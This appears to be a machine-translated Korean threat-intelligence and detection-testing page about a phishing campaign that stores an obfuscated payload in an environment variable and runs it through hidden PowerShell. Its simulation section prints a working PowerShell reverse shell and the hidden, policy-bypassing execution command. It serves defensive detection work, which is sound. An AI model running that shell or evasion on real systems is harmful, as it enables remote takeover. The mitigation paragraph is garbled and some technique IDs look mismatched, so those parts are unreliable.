악성 MSI 배경이 돌아왔다
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
WeTransfer 링크를 포함한 피싱 이메일이 난독화된 페이로드를 환경 변수 안에 저장하는 JavaScript 파일을 배포합니다. 이후 PowerShell을 통해 디코딩되고 실행됩니다. 이는 WMI를 통해 실행되며, Cloudflare Workers 및 R2 스토리지로부터 악성 MSI 스타일의 배경 JPEG와 .NET DLL을 다운로드합니다. DLL은 수정된 Microsoft.Win32.TaskScheduler 빌드로, 후속 페이로드 로드 및 예약된 작업을 통한 지속성 생성을 가능하게 합니다. 이 캠페인은 위협 행위자가 합법적인 클라우드 서비스를 계속 악용하여 악성 구성 요소를 호스팅하고 배포하는 방식을 보여줍니다.
조사
분석가는 초기 JavaScript 파일 Remittance Advice.js 를 식별했으며, 이 파일에는 ROT13으로 난독화된 코드가 포함되어 있습니다. 이는 INTERNAL_DB_CACHE 환경 변수를 생성합니다. PowerShell은 WMI를 통해 숨겨진 창에서 시작되며, 디코딩된 스크립트 블록이 실행됩니다. 그 스크립트는 workers.dev 하위 도메인에서 JPEG 파일을 가져오고 공용 r2.dev 버킷에서 PNG 파일을 가져옵니다. 이들은 모두 스테가노그래피 방법을 통해 추가 페이로드를 담고 있을 가능성이 높습니다. 마지막 단계의 구성 요소는 오픈 소스 TaskScheduler 라이브러리에서 파생된 .NET DLL 입니다.
완화
조직은 we.tl, workers.dev와 같은 알려진 악성 도메인에 대한 액세스를 방화벽 또는 프록시 레이어에서 차단해야 합니다. 신뢰할 수 없는 사용자를 위해 PowerShell 실행 및 WMI 기반 프로세스 생성을 제한해야 합니다. 방어자는 숨겨진 PowerShell 실행, r2.dev at the firewall or proxy layer. PowerShell execution and WMI-based process creation should be restricted for untrusted users wherever possible. Defenders should also monitor for hidden PowerShell execution, abuse of the Win32_Process.Create 방법의 악용 및 INTERNAL_DB_CACHE와 같은 비정상적인 환경 변수를 모니터링해야 합니다. 공용 클라우드 스토리지에서 다운로드된 파일은 엄격한 검증 및 검수에 의해 처리되어야 합니다.
대응
보안 팀은 WMI를 통해 숨겨진 창으로 PowerShell이 시작될 때 및 INTERNAL_DB_CACHE 변수가 생성되거나 수정될 때 알림을 전송해야 합니다. 식별된 URL에 연결하거나 workers.dev or r2.dev 에서 콘텐츠를 다운로드하는 모든 프로세스는 즉시 조사되어야 합니다. 포렌식 분석은 악성 .NET DLL의 위치를 확인하고 TaskScheduler 라이브러리를 사용하는 새로 생성된 예약된 작업을 식별하는 데 중점을 두어야 합니다. 영향을 받은 호스트는 신속하게 복구하고 탐지 내용을 관찰된 지표로 업데이트해야 합니다.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[“<b>행위</b> – <b>T1566.002 피싱: 스피어피싱 링크</b><br/><b>설명</b>: 피해자에게 악성 WeTransfer 링크가 포함된 이메일을 전송”] class action_phishing action tool_js[“<b>도구</b> – <b>JavaScript 페이로드</b><br/><b>기술</b>: T1027.008 난독화된 파일 또는 정보, T1132 데이터 인코딩<br/><b>설명</b>: ROT13/수정된 Base64 페이로드가 포함된 환경 변수를 설정하고 실행”] class tool_js tool process_wmi_ps[“<b>프로세스</b> – <b>WMI를 통한 PowerShell</b><br/><b>기술</b>: T1216 서명된 바이너리 프록시 실행, T1036.009 위장, T1564.010 아티팩트 숨기기<br/><b>설명</b>: WMI를 통해 숨겨진 PowerShell 프로세스를 실행”] class process_wmi_ps process malware_taskdll[“<b>악성코드</b> – <b>.NET TaskScheduler DLL</b><br/><b>기술</b>: T1127.003 신뢰된 개발 유틸리티 프록시 실행<br/><b>설명</b>: 디코딩된 페이로드를 .NET DLL로 로드하고 작업 스케줄러에 등록”] class malware_taskdll malware tool_downloader[“<b>도구</b> – <b>다운로더</b><br/><b>기술</b>: T1578 인프라 확보, T1538 클라우드 스토리지 데이터, T1537 클라우드 계정으로 데이터 전송<br/><b>설명</b>: Cloudflare Workers 및 R2 스토리지에서 추가 파일을 가져옴”] class tool_downloader tool file_png[“<b>파일</b> – <b>스테가노그래피 PNG</b><br/><b>설명</b>: 이후 처리될 숨겨진 데이터를 포함하는 PNG 이미지”] class file_png file %% Connections showing attack flow action_phishing –>|전달| tool_js tool_js –>|실행_및_설정| process_wmi_ps process_wmi_ps –>|실행| malware_taskdll malware_taskdll –>|로드| tool_downloader tool_downloader –>|가져옴| file_png
공격 흐름
시뮬레이션 실행
전제 조건: 원격 측정 및 기준점 사전 점검이 통과했어야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령 및 서사는 식별된 TTP와 직접적으로 대응해야 하며 탐지 논리에 의해 예상되는 원격 측정을 생성하는 것을 목표로 합니다.
-
공격 내러티브 및 명령:
공격자는 먼저 Base64로 인코딩된 PowerShell 페이로드를INTERNAL_DB_CACHE이라는 프로세스 수준 환경 변수에 주입합니다. 이 페이로드는 디코딩되면 역방향 셸을 시작합니다. 그런 다음 공격자는 이 변수를 읽고ScriptBlock::Create을 통해 실행하는 두 번째 PowerShell 프로세스를 호출하여 즉각적인 명령줄에서 악성 명령을 숨깁니다. 이러한 ‘living-off-the-land’ 접근 방식은 정적 서명 탐지를 피하고 규칙이 잡아내도록 설계된 2단계 패턴을 활용합니다.-
1단계 – 페이로드를 인코딩하고 환경 변수에 저장
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
2단계 – 인코딩된 페이로드를 환경 변수에서 실행
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
회귀 테스트 스크립트: 아래 스크립트는 두 단계를 자동화하고, 상관을 위한 타임스탬프를 캡처하며, 첫 번째 프로세스가 완료된 후 두 번째 프로세스가 시작되기 전에 짧은 휴식을 삽입합니다.
# ---------------------------------------------- # 환경 변수 인코딩된 페이로드의 PowerShell 시뮬레이션 # ---------------------------------------------- # 1단계 – 무해한 역방향 셸 페이로드 인코딩 (귀하의 C2 주소로 대체) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # 안전한 테스트를 위한 작은 무해한 페이로드 $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] 환경 변수 INTERNAL_DB_CACHE 설정 완료." # 첫 번째 명령이 기록되도록 잠시 멈춤 Start-Sleep -Seconds 2 # 2단계 – 변수에서 페이로드 실행 powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] 페이로드 실행 트리거되었습니다." -
정리 명령: 임시 환경 변수를 제거하고 테스트 동안 생성된 불필요한 프로세스를 종료합니다.
# 테스트 환경 변수 제거 [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] 정리 – INTERNAL_DB_CACHE 제거 완료." # 남겨진 powershell.exe 인스턴스 제거 (현재 세션 제외) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] 정리 – 남겨진 PowerShell 프로세스 종료 완료."